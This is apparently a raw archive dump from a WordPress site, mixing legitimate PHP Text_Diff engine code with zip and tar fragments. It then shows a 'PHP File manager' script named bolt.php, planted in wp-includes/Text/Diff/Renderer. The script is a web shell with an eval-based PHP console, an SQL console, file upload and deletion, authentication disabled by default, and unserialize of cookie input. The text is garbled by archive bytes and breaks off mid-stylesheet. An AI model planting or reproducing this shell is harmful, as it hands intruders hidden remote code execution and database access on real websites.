
    public $xchanged;
    public $ychanged;
    public $xv;
    public $yv;
    public $xind;
    public $yind;
    public $seq;
    public $in_seq;
    public $lcs;

    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $n_from = count($from_lines);
        $n_to = count($to_lines);

        $this->xchanged = $this->ychanged = array();
        $this->xv = $this->yv = array();
        $this->xind = $this->yind = array();
        unset($this->seq);
        unset($this->in_seq);
        unset($this->lcs);

        // Skip leading common lines.
        for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) {
            if ($from_lines[$skip] !== $to_lines[$skip]) {
                break;
            }
            $this->xchanged[$skip] = $this->ychanged[$skip] = false;
        }

        // Skip trailing common lines.
        $xi = $n_from; $yi = $n_to;
        for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) {
            if ($from_lines[$xi] !== $to_lines[$yi]) {
                break;
            }
            $this->xchanged[$xi] = $this->ychanged[$yi] = false;
        }

        // Ignore lines which do not exist in both files.
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $xhash[$from_lines[$xi]] = 1;
        }
        for ($yi = $skip; $yi < $n_to - $endskip; $yi++) {
            $line = $to_lines[$yi];
            if (($this->ychanged[$yi] = empty($xhash[$line]))) {
                continue;
            }
            $yhash[$line] = 1;
            $this->yv[] = $line;
            $this->yind[] = $yi;
        }
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $line = $from_lines[$xi];
            if (($this->xchanged[$xi] = empty($yhash[$line]))) {
                continue;
            }
            $this->xv[] = $line;
            $this->xind[] = $xi;
        }

        // Find the LCS.
        $this->_compareseq(0, count($this->xv), 0, count($this->yv));

        // Merge edits when possible.
        $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged);
        $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged);

        // Compute the edit operations.
        $edits = array();
        $xi = $yi = 0;
        while ($xi < $n_from || $yi < $n_to) {
            assert($yi < $n_to || $this->xchanged[$xi]);
            assert($xi < $n_from || $this->ychanged[$yi]);

            // Skip matching "snake".
            $copy = array();
            while ($xi < $n_from && $yi < $n_to
                   && !$this->xchanged[$xi] && !$this->ychanged[$yi]) {
                $copy[] = $from_lines[$xi++];
                ++$yi;
            }
            if ($copy) {
                $edits[] = new Text_Diff_Op_copy($copy);
            }

            // Find deletes & adds.
            $delete = array();
            while ($xi < $n_from && $this->xchanged[$xi]) {
                $delete[] = $from_lines[$xi++];
            }

            $add = array();
            while ($yi < $n_to && $this->ychanged[$yi]) {
                $add[] = $to_lines[$yi++];
            }

            if ($delete && $add) {
                $edits[] = new Text_Diff_Op_change($delete, $add);
            } elseif ($delete) {
                $edits[] = new Text_Diff_Op_delete($delete);
            } elseif ($add) {
                $edits[] = new Text_Diff_Op_add($add);
            }
        }

        return $edits;
    }

    /**
     * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF,
     * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized
     * segments.
     *
     * Returns (LCS, PTS).  LCS is the length of the LCS. PTS is an array of
     * NCHUNKS+1 (X, Y) indexes giving the diving points between sub
     * sequences.  The first sub-sequence is contained in (X0, X1), (Y0, Y1),
     * the second in (X1, X2), (Y1, Y2) and so on.  Note that (X0, Y0) ==
     * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM).
     *
     * This function assumes that the first lines of the specified portions of
     * the two files do not match, and likewise that the last lines do not
     * match.  The caller must trim matching lines from the beginning and end
     * of the portions it is going to specify.
     */
    function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks)
    {
        $flip = false;

        if ($xlim - $xoff > $ylim - $yoff) {
            /* Things seems faster (I'm not sure I understand why) when the
             * shortest sequence is in X. */
            $flip = true;
            list ($xoff, $xlim, $yoff, $ylim)
                = array($yoff, $ylim, $xoff, $xlim);
        }

        if ($flip) {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->xv[$i]][] = $i;
            }
        } else {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->yv[$i]][] = $i;
            }
        }

        $this->lcs = 0;
        $this->seq[0]= $yoff - 1;
        $this->in_seq = array();
        $ymids[0] = array();

        $numer = $xlim - $xoff + $nchunks - 1;
        $x = $xoff;
        for ($chunk = 0; $chunk < $nchunks; $chunk++) {
            if ($chunk > 0) {
                for ($i = 0; $i <= $this->lcs; $i++) {
                    $ymids[$i][$chunk - 1] = $this->seq[$i];
                }
            }

            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks);
            for (; $x < $x1; $x++) {
                $line = $flip ? $this->yv[$x] : $this->xv[$x];
                if (empty($ymatches[$line])) {
                    continue;
                }
                $matches = $ymatches[$line];
                reset($matches);
                while ($y = current($matches)) {
                    if (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                        break;
                    }
                    next($matches);
                }
                while ($y = current($matches)) {
                    if ($y > $this->seq[$k - 1]) {
                        assert($y <= $this->seq[$k]);
                        /* Optimization: this is a common case: next match is
                         * just replacing previous match. */
                        $this->in_seq[$this->seq[$k]] = false;
                        $this->seq[$k] = $y;
                        $this->in_seq[$y] = 1;
                    } elseif (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                    }
                    next($matches);
                }
            }
        }

        $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff);
        $ymid = $ymids[$this->lcs];
        for ($n = 0; $n < $nchunks - 1; $n++) {
            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks);
            $y1 = $ymid[$n] + 1;
            $seps[] = $flip ? array($y1, $x1) : array($x1, $y1);
        }
        $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim);

        return array($this->lcs, $seps);
    }

    function _lcsPos($ypos)
    {
        $end = $this->lcs;
        if ($end == 0 || $ypos > $this->seq[$end]) {
            $this->seq[++$this->lcs] = $ypos;
            $this->in_seq[$ypos] = 1;
            return $this->lcs;
        }

        $beg = 1;
        while ($beg < $end) {
            $mid = (int)(($beg + $end) / 2);
            if ($ypos > $this->seq[$mid]) {
                $beg = $mid + 1;
            } else {
                $end = $mid;
            }
        }

        assert($ypos != $this->seq[$end]);

        $this->in_seq[$this->seq[$end]] = false;
        $this->seq[$end] = $ypos;
        $this->in_seq[$ypos] = 1;
        return $end;
    }

    /**
     * Finds LCS of two sequences.
     *
     * The results are recorded in the vectors $this->{x,y}changed[], by
     * storing a 1 in the element for each line that is an insertion or
     * deletion (ie. is not in the LCS).
     *
     * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1.
     *
     * Note that XLIM, YLIM are exclusive bounds.  All line numbers are
     * origin-0 and discarded lines are not counted.
     */
    function _compareseq ($xoff, $xlim, $yoff, $ylim)
    {
        /* Slide down the bottom initial diagonal. */
        while ($xoff < $xlim && $yoff < $ylim
               && $this->xv[$xoff] == $this->yv[$yoff]) {
            ++$xoff;
            ++$yoff;
        }

        /* Slide up the top initial diagonal. */
        while ($xlim > $xoff && $ylim > $yoff
               && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) {
            --$xlim;
            --$ylim;
        }

        if ($xoff == $xlim || $yoff == $ylim) {
            $lcs = 0;
        } else {
            /* This is ad hoc but seems to work well.  $nchunks =
             * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks =
             * max(2,min(8,(int)$nchunks)); */
            $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1;
            list($lcs, $seps)
                = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks);
        }

        if ($lcs == 0) {
            /* X and Y sequences have no common subsequence: mark all
             * changed. */
            while ($yoff < $ylim) {
                $this->ychanged[$this->yind[$yoff++]] = 1;
            }
            while ($xoff < $xlim) {
                $this->xchanged[$this->xind[$xoff++]] = 1;
            }
        } else {
            /* Use the partitions to split this problem into subproblems. */
            reset($seps);
            $pt1 = $seps[0];
            while ($pt2 = next($seps)) {
                $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]);
                $pt1 = $pt2;
            }
        }
    }

    /**
     * Adjusts inserts/deletes of identical lines to join changes as much as
     * possible.
     *
     * We do something when a run of changed lines include a line at one end
     * and has an excluded, identical line at the other.  We are free to
     * choose which identical line is included.  `compareseq' usually chooses
     * the one at the beginning, but usually it is cleaner to consider the
     * following identical line to be the "change".
     *
     * This is extracted verbatim from analyze.c (GNU diffutils-2.7).
     */
    function _shiftBoundaries($lines, &$changed, $other_changed)
    {
        $i = 0;
        $j = 0;

        assert(count($lines) == count($changed));
        $len = count($lines);
        $other_len = count($other_changed);

        while (1) {
            /* Scan forward to find the beginning of another run of
             * changes. Also keep track of the corresponding point in the
             * other file.
             *
             * Throughout this code, $i and $j are adjusted together so that
             * the first $i elements of $changed and the first $j elements of
             * $other_changed both contain the same number of zeros (unchanged
             * lines).
             *
             * Furthermore, $j is always kept so that $j == $other_len or
             * $other_changed[$j] == false. */
            while ($j < $other_len && $other_changed[$j]) {
                $j++;
            }

            while ($i < $len && ! $changed[$i]) {
                assert($j < $other_len && ! $other_changed[$j]);
                $i++; $j++;
                while ($j < $other_len && $other_changed[$j]) {
                    $j++;
                }
            }

            if ($i == $len) {
                break;
            }

            $start = $i;

            /* Find the end of this run of changes. */
            while (++$i < $len && $changed[$i]) {
                continue;
            }

            do {
                /* Record the length of this run of changes, so that we can
                 * later determine whether the run has grown. */
                $runlength = $i - $start;

                /* Move the changed region back, so long as the previous
                 * unchanged line matches the last changed one.  This merges
                 * with previous changed regions. */
                while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) {
                    $changed[--$start] = 1;
                    $changed[--$i] = false;
                    while ($start > 0 && $changed[$start - 1]) {
                        $start--;
                    }
                    assert($j > 0);
                    while ($other_changed[--$j]) {
                        continue;
                    }
                    assert($j >= 0 && !$other_changed[$j]);
                }

                /* Set CORRESPONDING to the end of the changed run, at the
                 * last point where it corresponds to a changed run in the
                 * other file. CORRESPONDING == LEN means no such point has
                 * been found. */
                $corresponding = $j < $other_len ? $i : $len;

                /* Move the changed region forward, so long as the first
                 * changed line matches the following unchanged one.  This
                 * merges with following changed regions.  Do this second, so
                 * that if there are no merges, the changed region is moved
                 * forward as far as possible. */
                while ($i < $len && $lines[$start] == $lines[$i]) {
                    $changed[$start++] = false;
                    $changed[$i++] = 1;
                    while ($i < $len && $changed[$i]) {
                        $i++;
                    }

                    assert($j < $other_len && ! $other_changed[$j]);
                    $j++;
                    if ($j < $other_len && $other_changed[$j]) {
                        $corresponding = $i;
                        while ($j < $other_len && $other_changed[$j]) {
                            $j++;
                        }
                    }
                }
            } while ($runlength != $i - $start);

            /* If possible, move the fully-merged run of changes back to a
             * corresponding run in the other file. */
            while ($corresponding < $i) {
                $changed[--$start] = 1;
                $changed[--$i] = 0;
                assert($j > 0);
                while ($other_changed[--$j]) {
                    continue;
                }
                assert($j >= 0 && !$other_changed[$j]);
            }
        }
    }

}
PK     |\@[    	  xdiff.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff)
 * to compute the differences between the two input arrays.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Jon Parise <jon@horde.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_xdiff {

    /**
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        /* Convert the two input arrays into strings for xdiff processing. */
        $from_string = implode("\n", $from_lines);
        $to_string = implode("\n", $to_lines);

        /* Diff the two strings and convert the result to an array. */
        $diff = xdiff_string_diff($from_string, $to_string, count($to_lines));
        $diff = explode("\n", $diff);

        /* Walk through the diff one line at a time.  We build the $edits
         * array of diff operations by reading the first character of the
         * xdiff output (which is in the "unified diff" format).
         *
         * Note that we don't have enough information to detect "changed"
         * lines using this approach, so we can't add Text_Diff_Op_changed
         * instances to the $edits array.  The result is still perfectly
         * valid, albeit a little less descriptive and efficient. */
        $edits = array();
        foreach ($diff as $line) {
            if (!strlen($line)) {
                continue;
            }
            switch ($line[0]) {
            case ' ':
                $edits[] = new Text_Diff_Op_copy(array(substr($line, 1)));
                break;

            case '+':
                $edits[] = new Text_Diff_Op_add(array(substr($line, 1)));
                break;

            case '-':
                $edits[] = new Text_Diff_Op_delete(array(substr($line, 1)));
                break;
            }
        }

        return $edits;
    }

}
PK       |\Eћ      
                string.phpnu [        PK       |\S  S  	               shell.phpnu [        PK       |\'5>  >  
            a5  native.phpnu [        PK       |\@[    	            Lt  xdiff.phpnu [        PK      &   }    PK     |\o< <  <   bolt.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php                                 0000644                 00000232745 15217274105 0021423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
